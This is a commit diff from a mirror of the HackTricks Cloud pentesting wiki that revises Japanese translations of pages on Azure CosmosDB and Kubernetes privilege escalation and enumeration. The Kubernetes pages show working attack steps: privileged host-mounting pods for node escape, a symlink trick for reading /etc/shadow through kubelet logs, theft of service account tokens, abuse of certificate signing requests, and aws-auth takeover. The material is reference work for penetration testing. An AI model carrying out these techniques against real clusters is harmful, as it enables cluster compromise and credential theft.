mirror of
https://github.com/HackTricks-wiki/hacktricks-cloud.git
synced 2025-12-29 22:20:33 -08:00
Translated ['src/pentesting-cloud/azure-security/az-services/az-cosmosDB
This commit is contained in:
@@ -17,14 +17,14 @@ Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).p
|
||||
|
||||
## Azure CosmosDB
|
||||
|
||||
**Azure Cosmos DB**は、単一桁のミリ秒応答時間、自動スケーラビリティ、エンタープライズグレードのセキュリティを備えたSLAに基づく可用性を提供する完全に**管理されたNoSQL、リレーショナル、ベクトルデータベース**です。これは、ターンキーのマルチリージョンデータ配信、オープンソースAPI、人気のある言語用のSDK、統合ベクトルサポートやシームレスなAzure AI統合などのAIデータベース機能を通じて、アプリ開発を加速します。
|
||||
**Azure Cosmos DB** は、単一桁のミリ秒応答時間、自動スケーラビリティ、エンタープライズグレードのセキュリティを備えた SLA バックの可用性を提供する完全に **管理された NoSQL、リレーショナル、ベクトルデータベース** です。これは、ターンキーのマルチリージョンデータ配信、オープンソースAPI、人気のある言語用のSDK、統合ベクトルサポートやシームレスなAzure AI統合などのAIデータベース機能を通じて、アプリ開発を加速します。
|
||||
|
||||
Azure Cosmos DBは、ドキュメント、リレーショナル、キー-バリュー、グラフ、カラムファミリーデータモデルを使用して現実のデータをモデル化するための複数のデータベースAPIを提供しており、これらのAPIはNoSQL、MongoDB、PostgreSQL、Cassandra、Gremlin、Tableです。
|
||||
Azure Cosmos DB は、ドキュメント、リレーショナル、キー-バリュー、グラフ、カラムファミリーデータモデルを使用して現実のデータをモデル化するための複数のデータベースAPIを提供し、これらのAPIはNoSQL、MongoDB、PostgreSQL、Cassandra、Gremlin、Tableです。
|
||||
|
||||
CosmosDBの重要な側面の1つはAzure Cosmos Accountです。**Azure Cosmos Account**は、データベースへのエントリーポイントとして機能します。このアカウントは、グローバル配信、一貫性レベル、使用する特定のAPI(NoSQLなど)などの主要な設定を決定します。アカウントを通じて、データが複数のリージョンで低遅延アクセスのために利用可能であることを保証するために、グローバルレプリケーションを構成できます。さらに、パフォーマンスとデータの正確性のバランスを取る一貫性レベルを選択でき、強い一貫性から最終的な一貫性までのオプションがあります。
|
||||
CosmosDBの重要な側面の1つはAzure Cosmos Accountです。**Azure Cosmos Account** は、データベースへのエントリーポイントとして機能します。このアカウントは、グローバル配信、一貫性レベル、使用する特定のAPI(NoSQLなど)などの主要な設定を決定します。アカウントを通じて、データが複数のリージョンで低遅延アクセスのために利用可能であることを保証するために、グローバルレプリケーションを構成できます。さらに、パフォーマンスとデータの正確性のバランスを取る一貫性レベルを選択でき、強い一貫性から最終的な一貫性までのオプションがあります。
|
||||
|
||||
### NoSQL (sql)
|
||||
Azure Cosmos DB NoSQL APIは、JSONをデータ形式として使用するドキュメントベースのAPIです。これは、JSONオブジェクトをクエリするためのSQLに似たクエリ構文を提供し、構造化データおよび半構造化データの操作に適しています。サービスのエンドポイントは次のとおりです:
|
||||
Azure Cosmos DB NoSQL API は、JSON をデータ形式として使用するドキュメントベースの API です。これは、JSON オブジェクトをクエリするための SQL に似たクエリ構文を提供し、構造化データおよび半構造化データの操作に適しています。サービスのエンドポイントは次のとおりです:
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
@@ -291,7 +291,7 @@ Get-AzCosmosDBMongoDBRoleDefinition -AccountName <account-name> -ResourceGroupNa
|
||||
|
||||
#### 接続
|
||||
|
||||
ここでは、パスワードはキーまたは特権昇格セクションで説明されている方法で見つけることができます。
|
||||
ここでは、パスワードをキーまたは特権昇格セクションで説明されている方法で見つけることができます。
|
||||
{% code overflow="wrap" %}
|
||||
```python
|
||||
from pymongo import MongoClient
|
||||
|
||||
@@ -1,37 +0,0 @@
|
||||
# Az - VMs Unath
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Virtual Machines
|
||||
|
||||
Azure Virtual Machinesに関する詳細情報は、以下を確認してください:
|
||||
|
||||
{{#ref}}
|
||||
../az-services/vms/
|
||||
{{#endref}}
|
||||
|
||||
### Exposed vulnerable service
|
||||
|
||||
RCEに対して脆弱なネットワークサービス。
|
||||
|
||||
### Public Gallery Images
|
||||
|
||||
公開されたイメージには、内部に秘密が含まれている可能性があります:
|
||||
```bash
|
||||
# List all community galleries
|
||||
az sig list-community --output table
|
||||
|
||||
# Search by publisherUri
|
||||
az sig list-community --output json --query "[?communityMetadata.publisherUri=='https://3nets.io']"
|
||||
```
|
||||
### 公開拡張機能
|
||||
|
||||
これはより奇妙ですが不可能ではありません。大企業がその中に機密データを含む拡張機能を置くことがあります:
|
||||
```bash
|
||||
# It takes some mins to run
|
||||
az vm extension image list --output table
|
||||
|
||||
# Get extensions by publisher
|
||||
az vm extension image list --publisher "Site24x7" --output table
|
||||
```
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
@@ -7,12 +7,12 @@
|
||||
|
||||
## **特権昇格**
|
||||
|
||||
**異なる特権を持つ別のプリンシパルにアクセスする**技術を指します(Kubernetesクラスター内または外部クラウドへのアクセス)。Kubernetesには、特権を昇格させるための**4つの主要な技術**があります:
|
||||
**異なる特権を持つ別のプリンシパルにアクセスする**技術を指します(Kubernetesクラスター内または外部クラウドへのアクセス)。Kubernetesでは、特権を昇格させるための**4つの主要な技術**があります:
|
||||
|
||||
- Kubernetesクラスター内または外部クラウドで、より良い特権を持つ他のユーザー/グループ/SAを**なりすます**ことができる
|
||||
- Kubernetesクラスター内または外部クラウドで、より良い特権を持つSAを**見つけたり、アタッチしたりする**ことができる**ポッドを作成/パッチ/実行**できる
|
||||
- SAのトークンがシークレットとして保存されているため、**シークレットを読む**ことができる
|
||||
- コンテナからノードに**エスケープ**できる場合、ノード上で実行されているコンテナのすべてのシークレット、ノードの資格情報、およびノードが実行されているクラウド内でのノードの権限を盗むことができる
|
||||
- コンテナからノードに**エスケープ**できる場合、ノードで実行されているコンテナのすべてのシークレット、ノードの資格情報、およびノードが実行されているクラウド内でのノードの権限を盗むことができる
|
||||
- 言及に値する5番目の技術は、ポッド内で**ポートフォワードを実行**する能力です。これにより、そのポッド内の興味深いリソースにアクセスできる可能性があります。
|
||||
|
||||
### 任意のリソースまたは動詞へのアクセス(ワイルドカード)
|
||||
@@ -74,11 +74,11 @@ hostNetwork: true
|
||||
```
|
||||
### Podの作成とエスケープ
|
||||
|
||||
以下は、コンテナが持つことができるすべての権限を示しています:
|
||||
以下は、コンテナが持つ可能性のあるすべての特権を示しています:
|
||||
|
||||
- **特権アクセス**(保護を無効にし、機能を設定する)
|
||||
- **namespace hostIPCおよびhostPidを無効にする** これにより権限を昇格させることができます
|
||||
- **hostNetwork** namespaceを無効にし、ノードのクラウド権限を盗むためのアクセスとネットワークへのより良いアクセスを提供します
|
||||
- **特権アクセス**(保護を無効にし、能力を設定する)
|
||||
- **namespace hostIPCおよびhostPidを無効にする** これにより特権を昇格させることができます
|
||||
- **hostNetwork** namespaceを無効にし、ノードのクラウド特権を盗むためのアクセスとネットワークへのより良いアクセスを提供します
|
||||
- **ホストをコンテナ内にマウントする**
|
||||
```yaml:super_privs.yaml
|
||||
apiVersion: v1
|
||||
@@ -115,7 +115,7 @@ volumes:
|
||||
hostPath:
|
||||
path: /
|
||||
```
|
||||
ポッドを作成するには:
|
||||
ポッドを作成するには:
|
||||
```bash
|
||||
kubectl --token $token create -f mount_root.yaml
|
||||
```
|
||||
@@ -127,7 +127,7 @@ kubectl run r00t --restart=Never -ti --rm --image lol --overrides '{"spec":{"hos
|
||||
|
||||
#### ステルス
|
||||
|
||||
おそらく、あなたは**ステルス性**を高めたいと思っているでしょう。次のページでは、前のテンプレートで言及された特権の一部を有効にするだけでポッドを作成した場合にアクセスできるものを確認できます。
|
||||
おそらく、あなたは**ステルス性**を高めたいと思っているでしょう。次のページでは、前のテンプレートで言及された特権の一部を有効にしてポッドを作成した場合にアクセスできる内容を確認できます。
|
||||
|
||||
- **特権 + hostPID**
|
||||
- **特権のみ**
|
||||
@@ -136,7 +136,7 @@ kubectl run r00t --restart=Never -ti --rm --image lol --overrides '{"spec":{"hos
|
||||
- **hostNetwork**
|
||||
- **hostIPC**
|
||||
|
||||
_前述の特権ポッド構成を作成/悪用する方法の例は_ [_https://github.com/BishopFox/badPods_](https://github.com/BishopFox/badPods) _で見つけることができます。_
|
||||
_前述の特権ポッド構成を作成/悪用する方法の例は_ [_https://github.com/BishopFox/badPods_](https://github.com/BishopFox/badPods) で見つけることができます。
|
||||
|
||||
### ポッド作成 - クラウドに移動
|
||||
|
||||
@@ -151,9 +151,9 @@ pod-escape-privileges.md
|
||||
|
||||
### **デプロイメント、デーモンセット、ステートフルセット、レプリケーションコントローラー、レプリカセット、ジョブ、クロンジョブの作成/パッチ**
|
||||
|
||||
これらの権限を悪用して、**新しいポッドを作成**し、前の例のように特権を確立することが可能です。
|
||||
これらの権限を悪用して**新しいポッドを作成**し、前の例のように特権を確立することが可能です。
|
||||
|
||||
次のyamlは**デーモンセットを作成し、ポッド内のSAのトークンを外部に流出させます**。
|
||||
次のyamlは**デーモンセットを作成し、ポッド内のSAのトークンを外部に送信**します。
|
||||
```yaml
|
||||
apiVersion: apps/v1
|
||||
kind: DaemonSet
|
||||
@@ -193,7 +193,7 @@ path: /
|
||||
|
||||
**`pods/exec`** は、**ポッド内のシェルでコマンドを実行するために使用されるkubernetesのリソース**です。これにより、**コンテナ内でコマンドを実行したり、シェルに入ったりすることができます**。
|
||||
|
||||
したがって、**ポッドに入ってSAのトークンを盗むことが可能であり、特権ポッドに入ってノードに脱出し、ノード内のすべてのポッドのトークンを盗んで(悪用)することができます**。
|
||||
したがって、**ポッドに入ってSAのトークンを盗んだり、特権ポッドに入ってノードに脱出し、ノード内のすべてのポッドのトークンを盗んでノードを(悪用)することが可能です**。
|
||||
```bash
|
||||
kubectl exec -it <POD_NAME> -n <NAMESPACE> -- sh
|
||||
```
|
||||
@@ -205,11 +205,11 @@ kubectl port-forward pod/mypod 5000:5000
|
||||
```
|
||||
### ホストの書き込み可能な /var/log/ エスケープ
|
||||
|
||||
[**この研究で示されているように**](https://jackleadford.github.io/containers/2020/03/06/pvpost.html)、**ホストの `/var/log/` ディレクトリがマウントされた**ポッドにアクセスまたは作成できる場合、**コンテナからエスケープ**することができます。\
|
||||
[**この研究で示されているように**](https://jackleadford.github.io/containers/2020/03/06/pvpost.html)、**ホストの `/var/log/` ディレクトリがマウントされた**ポッドにアクセスまたは作成できる場合、**コンテナからエスケープする**ことができます。\
|
||||
これは基本的に、**Kube-APIがコンテナのログを取得しようとする際**(`kubectl logs <pod>`を使用)、ポッドの`0.log`ファイルを**Kubelet**サービスの`/logs/`エンドポイントを使用して**要求するためです**。\
|
||||
Kubeletサービスは`/logs/`エンドポイントを公開しており、これは基本的に**コンテナの`/var/log`ファイルシステムを公開している**だけです。
|
||||
|
||||
したがって、**コンテナの /var/log/ フォルダーに書き込みアクセスを持つ攻撃者**は、この動作を2つの方法で悪用することができます:
|
||||
したがって、**コンテナの /var/log/ フォルダーに書き込むアクセス権を持つ攻撃者**は、この動作を2つの方法で悪用することができます:
|
||||
|
||||
- コンテナの`0.log`ファイル(通常は`/var/logs/pods/namespace_pod_uid/container/0.log`にあります)を**`/etc/shadow`を指すシンボリックリンク**に変更します。そうすれば、次のようにしてホストのシャドウファイルを抽出することができます:
|
||||
```bash
|
||||
@@ -219,7 +219,7 @@ kubectl logs escaper --tail=2
|
||||
failed to get parse function: unsupported log format: "systemd-resolve:*:::::::\n"
|
||||
# Keep incrementing tail to exfiltrate the whole file
|
||||
```
|
||||
- 攻撃者が **`nodes/log`** を読む権限を持つ任意のプリンシパルを制御している場合、彼は単に `/host-mounted/var/log/sym` に `/` への **symlink** を作成し、**`https://<gateway>:10250/logs/sym/` にアクセスすることでホストのルート** ファイルシステムをリスト表示することができます(symlinkを変更することでファイルへのアクセスが可能になります)。
|
||||
- 攻撃者が **`nodes/log` を読む権限を持つ任意のプリンシパルを制御している場合**、彼は単に `/host-mounted/var/log/sym` に **シンボリックリンク** を作成し、**`https://<gateway>:10250/logs/sym/` にアクセスすることでホストのルート** ファイルシステムをリスト表示することができます(シンボリックリンクを変更することでファイルへのアクセスが可能になります)。
|
||||
```bash
|
||||
curl -k -H 'Authorization: Bearer eyJhbGciOiJSUzI1NiIsImtpZCI6Im[...]' 'https://172.17.0.1:10250/logs/sym/'
|
||||
<a href="bin">bin</a>
|
||||
@@ -233,7 +233,7 @@ curl -k -H 'Authorization: Bearer eyJhbGciOiJSUzI1NiIsImtpZCI6Im[...]' 'https://
|
||||
```
|
||||
**実験室と自動化されたエクスプロイトは** [**https://blog.aquasec.com/kubernetes-security-pod-escape-log-mounts**](https://blog.aquasec.com/kubernetes-security-pod-escape-log-mounts) **にあります。**
|
||||
|
||||
#### 読み取り専用保護の回避 <a href="#bypassing-hostpath-readonly-protection" id="bypassing-hostpath-readonly-protection"></a>
|
||||
#### 読み取り専用保護のバイパス <a href="#bypassing-hostpath-readonly-protection" id="bypassing-hostpath-readonly-protection"></a>
|
||||
|
||||
運が良ければ、高度な特権を持つ能力 `CAP_SYS_ADMIN` が利用可能であれば、フォルダーをrwとして再マウントすることができます:
|
||||
```bash
|
||||
@@ -312,14 +312,14 @@ https://<master_ip>:<port>/api/v1/namespaces/kube-system/secrets/
|
||||
```
|
||||
### シークレットのリスト
|
||||
|
||||
**シークレットをリストする権限は、攻撃者が実際にシークレットを読み取ることを許可する可能性があります** REST API エンドポイントにアクセスすることによって:
|
||||
**シークレットをリストする権限は、攻撃者が実際にシークレットを読み取ることを許可する可能性があります** REST API エンドポイントにアクセスすることで:
|
||||
```bash
|
||||
curl -v -H "Authorization: Bearer <jwt_token>" https://<master_ip>:<port>/api/v1/namespaces/kube-system/secrets/
|
||||
```
|
||||
### シークレットの作成と読み取り
|
||||
|
||||
**kubernetes.io/service-account-token** タイプの特別な種類の Kubernetes シークレットがあり、サービスアカウントトークンを保存します。
|
||||
シークレットを作成および読み取る権限があり、サービスアカウントの名前も知っている場合、次のようにシークレットを作成し、そこから被害者のサービスアカウントトークンを盗むことができます:
|
||||
シークレットを作成および読み取る権限があり、サービスアカウントの名前も知っている場合、次のようにシークレットを作成し、そこから被害者のサービスアカウントトークンを盗むことができます:
|
||||
```yaml
|
||||
apiVersion: v1
|
||||
kind: Secret
|
||||
@@ -388,9 +388,9 @@ $ kubectl get secret stolen-admin-sa-token --token=$SECRETS_MANAGER_TOKEN -o jso
|
||||
|
||||
### 証明書署名要求
|
||||
|
||||
リソース `certificatesigningrequests` に **`create`** の動詞がある場合(または少なくとも `certificatesigningrequests/nodeClient` に)。新しいノードの新しいCeSRを**作成**できます。
|
||||
リソース `certificatesigningrequests` に **`create`** の動詞がある場合(または少なくとも `certificatesigningrequests/nodeClient` にある場合)、**新しいノードの**新しいCeSRを**作成**できます。
|
||||
|
||||
[ドキュメントによると、これらの要求を自動承認することが可能です](https://kubernetes.io/docs/reference/command-line-tools-reference/kubelet-tls-bootstrapping/)ので、その場合は**追加の権限は必要ありません**。そうでない場合、要求を承認できる必要があり、これは `certificatesigningrequests/approval` での更新と、リソース名 `<signerNameDomain>/<signerNamePath>` または `<signerNameDomain>/*` での `approve` を意味します。
|
||||
[ドキュメントによると、これらの要求を自動承認することが可能です](https://kubernetes.io/docs/reference/command-line-tools-reference/kubelet-tls-bootstrapping/)ので、その場合は**追加の権限は必要ありません**。そうでない場合、要求を承認できる必要があり、これは `certificatesigningrequests/approval` での更新と、リソース名 `<signerNameDomain>/<signerNamePath>` または `<signerNameDomain>/*` での `signers` での承認を意味します。
|
||||
|
||||
必要なすべての権限を持つ**ロールの例**は次のとおりです:
|
||||
```yaml
|
||||
@@ -426,15 +426,15 @@ verbs:
|
||||
新しいノードCSRが承認されたので、ノードの特別な権限を**悪用**して**秘密を盗み**、**権限を昇格**させることができます。
|
||||
|
||||
[**この投稿**](https://www.4armed.com/blog/hacking-kubelet-on-gke/)と[**こちら**](https://rhinosecuritylabs.com/cloud-security/kubelet-tls-bootstrap-privilege-escalation/)では、GKE K8s TLSブートストラップ構成が**自動署名**で設定されており、新しいK8sノードの資格情報を生成するために悪用され、その後それを使用して秘密を盗むことで権限を昇格させます。\
|
||||
**前述の権限を持っていれば、同じことができます**。最初の例は、新しいノードがコンテナ内の秘密にアクセスするのを防ぐエラーを回避します。なぜなら、**ノードは自分にマウントされたコンテナの秘密にのみアクセスできるからです。**
|
||||
**前述の権限を持っていれば、同じことができます**。最初の例では、新しいノードがコンテナ内の秘密にアクセスするのを防ぐエラーを回避しています。なぜなら、**ノードは自分にマウントされたコンテナの秘密にしかアクセスできないからです。**
|
||||
|
||||
これを回避する方法は、**興味のある秘密がマウントされているコンテナのノード名のためにノード資格情報を作成すること**です(ただし、最初の投稿でそれを行う方法を確認してください):
|
||||
これを回避する方法は、**興味のある秘密がマウントされているコンテナのノード名のノード資格情報を作成すること**です(ただし、最初の投稿での方法を確認してください):
|
||||
```bash
|
||||
"/O=system:nodes/CN=system:node:gke-cluster19-default-pool-6c73b1-8cj1"
|
||||
```
|
||||
### AWS EKS aws-auth configmaps
|
||||
|
||||
EKS(AWSにいる必要があります)クラスターのkube-system名前空間で**`configmaps`**を変更できるプリンシパルは、**aws-auth** configmapを上書きすることでクラスター管理者権限を取得できます。\
|
||||
EKS(AWS内にいる必要があります)クラスターのkube-system名前空間で**`configmaps`**を変更できるプリンシパルは、**aws-auth** configmapを上書きすることでクラスター管理者権限を取得できます。\
|
||||
必要な動詞は**`update`**と**`patch`**、またはconfigmapが作成されていない場合は**`create`**です:
|
||||
```bash
|
||||
# Check if config map exists
|
||||
@@ -494,15 +494,15 @@ groups:
|
||||
../../gcp-security/gcp-privilege-escalation/gcp-container-privesc.md
|
||||
{{#endref}}
|
||||
|
||||
2つ目の方法は、**クラスター内でK8sの権限を割り当てる**ことで、ユーザーをその**メールアドレス**で特定します(GCPサービスアカウントを含む)。
|
||||
2つ目の方法は、**クラスター内でK8sの権限を割り当てる**ことで、ユーザーをその**メールアドレス**で識別します(GCPサービスアカウントを含む)。
|
||||
|
||||
### サービスアカウントトークンの作成
|
||||
|
||||
**TokenRequests**(`serviceaccounts/token`)を**作成できるプリンシパル**は、K8s APIエンドポイントに話しかけるときにSAs(情報は[**こちら**](https://github.com/PaloAltoNetworks/rbac-police/blob/main/lib/token_request.rego))です。
|
||||
**TokenRequests**(`serviceaccounts/token`)を**作成**できるプリンシパルは、K8s APIエンドポイントに話しかけることができます(情報は[**こちら**](https://github.com/PaloAltoNetworks/rbac-police/blob/main/lib/token_request.rego))。
|
||||
|
||||
### ephemeralcontainers
|
||||
|
||||
**`update`**または**`patch`**の**`pods/ephemeralcontainers`**を行うことができるプリンシパルは、**他のポッドでコード実行を得る**ことができ、特権のsecurityContextを持つ一時的なコンテナを追加することで**ノードから抜け出す**可能性があります。
|
||||
**`update`**または**`patch`**の**`pods/ephemeralcontainers`**を持つプリンシパルは、**他のポッドでコード実行を得る**ことができ、特権のsecurityContextを持つ一時的なコンテナを追加することで**ノードから抜け出す**可能性があります。
|
||||
|
||||
### ValidatingWebhookConfigurationsまたはMutatingWebhookConfigurations
|
||||
|
||||
@@ -512,22 +512,22 @@ groups:
|
||||
|
||||
### 権限昇格
|
||||
|
||||
次のセクションで読むことができるように:[**組み込みの特権昇格防止**](#built-in-privileged-escalation-prevention)、プリンシパルは新しい権限を持たずにロールやクラスターのロールを更新または作成することはできません。**`roles`**または**`clusterroles`**に対して**`escalate`**の動詞を持っている場合を除きます。\
|
||||
次のセクションで読むことができるように:[**組み込みの特権昇格防止**](#built-in-privileged-escalation-prevention)、プリンシパルは新しい権限を持たずにロールやクラスターのロールを更新または作成することはできません。**`roles`**または**`clusterroles`**に対して**動詞`escalate`**を持っている場合を除いて。\
|
||||
その場合、彼はより良い権限を持つ新しいロールやクラスターのロールを更新/作成できます。
|
||||
|
||||
### ノードプロキシ
|
||||
|
||||
**`nodes/proxy`**サブリソースにアクセスできるプリンシパルは、Kubelet APIを介して**ポッドでコードを実行**できます([**こちら**](https://github.com/PaloAltoNetworks/rbac-police/blob/main/lib/nodes_proxy.rego)に従って)。Kubelet認証に関する詳細はこのページにあります:
|
||||
**`nodes/proxy`**サブリソースにアクセスできるプリンシパルは、Kubelet APIを介して**ポッドでコードを実行**できます([**こちら**](https://github.com/PaloAltoNetworks/rbac-police/blob/main/lib/nodes_proxy.rego)を参照)。Kubelet認証に関する詳細情報はこのページにあります:
|
||||
|
||||
{{#ref}}
|
||||
../pentesting-kubernetes-services/kubelet-authentication-and-authorization.md
|
||||
{{#endref}}
|
||||
|
||||
[**Kubelet APIに認可された状態でRCEを取得する方法の例はこちら**](../pentesting-kubernetes-services/index.html#kubelet-rce)。
|
||||
[**Kubelet APIに認証された状態でRCEを取得する方法の例はこちら**](../pentesting-kubernetes-services/index.html#kubelet-rce)。
|
||||
|
||||
### ポッドの削除 + スケジュール不可のノード
|
||||
### ポッドの削除 + スケジュール不可ノード
|
||||
|
||||
**ポッドを削除**できるプリンシパル(`pods`リソースに対する`delete`動詞)、または**ポッドを追い出す**(`pods/eviction`リソースに対する`create`動詞)、または**ポッドの状態を変更**できる(`pods/status`へのアクセス)と、**他のノードをスケジュール不可にする**(`nodes/status`へのアクセス)または**ノードを削除**できる(`nodes`リソースに対する`delete`動詞)プリンシパルは、ポッドを制御している場合、**他のノードからポッドを盗む**ことができ、そうすることで**侵害された****ノード**で**実行され**、攻撃者はそれらのポッドから**トークンを盗む**ことができます。
|
||||
**ポッドを削除**できるプリンシパル(`pods`リソースに対する`delete`動詞)、または**ポッドを追い出す**(`pods/eviction`リソースに対する`create`動詞)、または**ポッドの状態を変更**できる(`pods/status`へのアクセス)と、**他のノードをスケジュール不可にする**ことができる(`nodes/status`へのアクセス)か、**ノードを削除**できる(`nodes`リソースに対する`delete`動詞)場合、ポッドを制御していると、**他のノードからポッドを盗む**ことができ、**侵害された****ノード**で**実行され**、攻撃者はそれらのポッドから**トークンを盗む**ことができます。
|
||||
```bash
|
||||
patch_node_capacity(){
|
||||
curl -s -X PATCH 127.0.0.1:8001/api/v1/nodes/$1/status -H "Content-Type: json-patch+json" -d '[{"op": "replace", "path":"/status/allocatable/pods", "value": "0"}]'
|
||||
@@ -540,11 +540,11 @@ kubectl delete pods -n kube-system <privileged_pod_name>
|
||||
```
|
||||
### サービスのステータス (CVE-2020-8554)
|
||||
|
||||
**`services/status`** を **修正** できるプリンシパルは、`status.loadBalancer.ingress.ip` フィールドを設定して **未修正の CVE-2020-8554** を悪用し、**クラスターに対する MiTM 攻撃** を開始することができます。CVE-2020-8554 に対するほとんどの緩和策は、ExternalIP サービスを防ぐだけです([**これ**](https://github.com/PaloAltoNetworks/rbac-police/blob/main/lib/modify_service_status_cve_2020_8554.rego) による)。
|
||||
**`services/status`** を **修正** できるプリンシパルは、`status.loadBalancer.ingress.ip` フィールドを設定して **未修正の CVE-2020-8554** を悪用し、**クラスターに対する MiTM 攻撃** を開始することができます。CVE-2020-8554 に対するほとんどの緩和策は、ExternalIP サービスを防ぐだけです([**こちら**](https://github.com/PaloAltoNetworks/rbac-police/blob/main/lib/modify_service_status_cve_2020_8554.rego) による)。
|
||||
|
||||
### ノードとポッドのステータス
|
||||
|
||||
`nodes/status` または `pods/status` に対して **`update`** または **`patch`** 権限を持つプリンシパルは、スケジューリング制約に影響を与えるためにラベルを修正できます。
|
||||
`nodes/status` または `pods/status` に対して **`update`** または **`patch`** 権限を持つプリンシパルは、スケジューリング制約に影響を与えるためにラベルを修正することができます。
|
||||
|
||||
## 組み込みの特権昇格防止
|
||||
|
||||
@@ -552,7 +552,7 @@ Kubernetes には、特権昇格を防ぐための [組み込みメカニズム]
|
||||
|
||||
このシステムは、**ユーザーが役割や役割バインディングを修正することによって特権を昇格させることができない**ことを保証します。このルールの施行は API レベルで行われ、RBAC 認証者が非アクティブな場合でも保護を提供します。
|
||||
|
||||
このルールは、**ユーザーは役割が含むすべての権限を持っている場合にのみ役割を作成または更新できる**と定めています。さらに、ユーザーの既存の権限の範囲は、作成または修正しようとしている役割の範囲と一致しなければなりません:ClusterRoles の場合はクラスター全体、Roles の場合は同じネームスペース(またはクラスター全体)に制限されます。
|
||||
このルールは、**ユーザーは役割が含むすべての権限を持っている場合にのみ役割を作成または更新できる**と規定しています。さらに、ユーザーの既存の権限の範囲は、作成または修正しようとしている役割の範囲と一致しなければなりません:ClusterRoles の場合はクラスター全体、Roles の場合は同じネームスペース(またはクラスター全体)に制限されます。
|
||||
|
||||
> [!WARNING]
|
||||
> 前述のルールには例外があります。プリンシパルが **`roles`** または **`clusterroles`** に対して **動詞 `escalate`** を持っている場合、彼は自分自身が権限を持っていなくても役割やクラスター役割の特権を増加させることができます。
|
||||
@@ -608,7 +608,7 @@ add: ["NET_ADMIN"]
|
||||
# securityContext:
|
||||
# allowPrivilegeEscalation: true
|
||||
```
|
||||
プロキシのログを確認してください:
|
||||
プロキシのログを確認してください:
|
||||
```bash
|
||||
kubectl logs app -C proxy
|
||||
```
|
||||
@@ -627,7 +627,7 @@ cd malicious-admission-controller-webhook-demo
|
||||
./deploy.sh
|
||||
kubectl get po -n webhook-demo -w
|
||||
```
|
||||
ステータスを確認して、準備ができているかどうかを確認してください:
|
||||
ステータスを確認して、準備ができているかどうかを確認します:
|
||||
```bash
|
||||
kubectl get mutatingwebhookconfigurations
|
||||
kubectl get deploy,svc -n webhook-demo
|
||||
@@ -650,7 +650,7 @@ kubectl describe po nginx | grep "Image: "
|
||||
|
||||
#### Technicalities <a href="#heading-technicalities" id="heading-technicalities"></a>
|
||||
|
||||
`./deploy.sh` スクリプトは、Kubernetes APIへのリクエストをその設定行に従って変更するミューテイティングウェブフックアドミッションコントローラーを確立します。これにより、観察された結果に影響を与えます:
|
||||
`./deploy.sh` スクリプトは、Kubernetes APIへのリクエストをその設定行に従って変更するミューテイティングウェブホックアドミッションコントローラーを確立します。これにより、観察された結果に影響を与えます。
|
||||
```
|
||||
patches = append(patches, patchOperation{
|
||||
Op: "replace",
|
||||
|
||||
@@ -8,7 +8,7 @@
|
||||
|
||||
このフォルダには、**APIサーバーに接続するためのトークンと設定を含む設定ファイル**が見つかるかもしれません。このフォルダには、以前に取得した情報を含むキャッシュフォルダもあります。
|
||||
|
||||
Kubernetes環境内のポッドを侵害した場合、トークンや現在のK8環境に関する情報を見つけることができる他の場所があります:
|
||||
Kubernetes環境内のポッドを侵害した場合、トークンや現在のK8環境に関する情報を見つけることができる他の場所があります。
|
||||
|
||||
### Service Account Tokens
|
||||
|
||||
@@ -56,7 +56,7 @@ _**Hot podsは**_ 特権サービスアカウントトークンを含むポッ
|
||||
## GUI Applications
|
||||
|
||||
- **k9s**: ターミナルからKubernetesクラスターを列挙するGUIです。コマンドは[https://k9scli.io/topics/commands/](https://k9scli.io/topics/commands/)で確認してください。`:namespace`と入力し、すべてを選択してから、すべての名前空間でリソースを検索します。
|
||||
- **k8slens**: 無料トライアル日数を提供しています:[https://k8slens.dev/](https://k8slens.dev/)
|
||||
- **k8slens**: 無料トライアル日数を提供しています: [https://k8slens.dev/](https://k8slens.dev/)
|
||||
|
||||
## Enumeration CheatSheet
|
||||
|
||||
@@ -68,7 +68,7 @@ K8s環境を列挙するには、次のものが必要です:
|
||||
|
||||
これらの詳細を使用して、**Kubernetesを列挙**できます。何らかの理由で**API**が**インターネット**を通じて**アクセス可能**であれば、その情報をダウンロードしてホストからプラットフォームを列挙できます。
|
||||
|
||||
しかし、通常**APIサーバーは内部ネットワーク内にあります**。したがって、侵害されたマシンを通じて**トンネルを作成**して自分のマシンからアクセスする必要があります。または、**`kubectl`**バイナリを**アップロード**するか、**`curl/wget/anything`**を使用してAPIサーバーに生のHTTPリクエストを実行できます。
|
||||
しかし、通常**APIサーバーは内部ネットワーク内にあります**。したがって、侵害されたマシンを通じて**トンネルを作成**して自分のマシンからアクセスする必要があります。または、**kubectl**バイナリを**アップロード**するか、**`curl/wget/anything`**を使用してAPIサーバーに生のHTTPリクエストを実行できます。
|
||||
|
||||
### Differences between `list` and `get` verbs
|
||||
|
||||
@@ -83,7 +83,7 @@ GET /apis/apps/v1/namespaces/{namespace}/deployments
|
||||
#In all namespaces
|
||||
GET /apis/apps/v1/deployments
|
||||
```
|
||||
**`watch`** 権限がある場合、資産を監視するための API リクエストを実行することが許可されます:
|
||||
**`watch`** 権限がある場合、資産を監視するためのAPIリクエストを実行することが許可されます:
|
||||
```
|
||||
GET /apis/apps/v1/deployments?watch=true
|
||||
GET /apis/apps/v1/watch/namespaces/{namespace}/deployments?watch=true
|
||||
@@ -91,7 +91,7 @@ GET /apis/apps/v1/watch/namespaces/{namespace}/deployments/{name} [DEPRECATED]
|
||||
GET /apis/apps/v1/watch/namespaces/{namespace}/deployments [DEPRECATED]
|
||||
GET /apis/apps/v1/watch/deployments [DEPRECATED]
|
||||
```
|
||||
彼らは、変更があるたび(または新しいものが作成されるとき)に、Deploymentの完全なマニフェストを返すストリーミング接続を開きます。
|
||||
彼らは、Deploymentが変更されるたび(または新しいものが作成されるとき)に、完全なマニフェストを返すストリーミング接続を開きます。
|
||||
|
||||
> [!CAUTION]
|
||||
> 次の `kubectl` コマンドは、オブジェクトをリストする方法を示しています。データにアクセスしたい場合は、`get` の代わりに `describe` を使用する必要があります。
|
||||
@@ -109,17 +109,17 @@ alias kurl="curl --cacert ${CACERT} --header \"Authorization: Bearer ${TOKEN}\""
|
||||
# if kurl is still got cert Error, using -k option to solve this.
|
||||
```
|
||||
> [!WARNING]
|
||||
